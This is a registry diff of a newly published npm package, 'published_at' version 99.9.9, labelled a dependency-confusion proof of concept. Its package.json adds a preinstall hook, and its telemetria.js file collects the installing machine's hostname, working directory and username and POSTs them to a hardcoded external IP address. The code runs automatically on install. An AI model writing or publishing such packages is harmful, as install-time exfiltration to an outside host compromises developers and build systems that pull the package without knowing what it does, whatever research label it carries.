published_at 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/telemetria.js +26 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "published_at",
3
+ "version": "99.9.9",
4
+ "description": "Security Research PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node telemetry.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "MIT"
11
+ }
package/telemetria.js ADDED
@@ -0,0 +1,26 @@
1
+ const os = require('os');
2
+ const http = require('http');
3
+
4
+ // Dados coletados conforme solicitado pelo analista
5
+ const data = JSON.stringify({
6
+ ip_info: "Collected via Server Logs",
7
+ hostname: os.hostname(),
8
+ path: process.cwd(),
9
+ username: os.userInfo().username,
10
+ package: "published_at"
11
+ });
12
+
13
+ const options = {
14
+ hostname: '179.89.210.233', // O IP da sua VPS Contabo
15
+ port: 80,
16
+ path: '/log',
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': data.length
21
+ }
22
+ };
23
+
24
+ const req = http.request(options);
25
+ req.write(data);
26
+ req.end();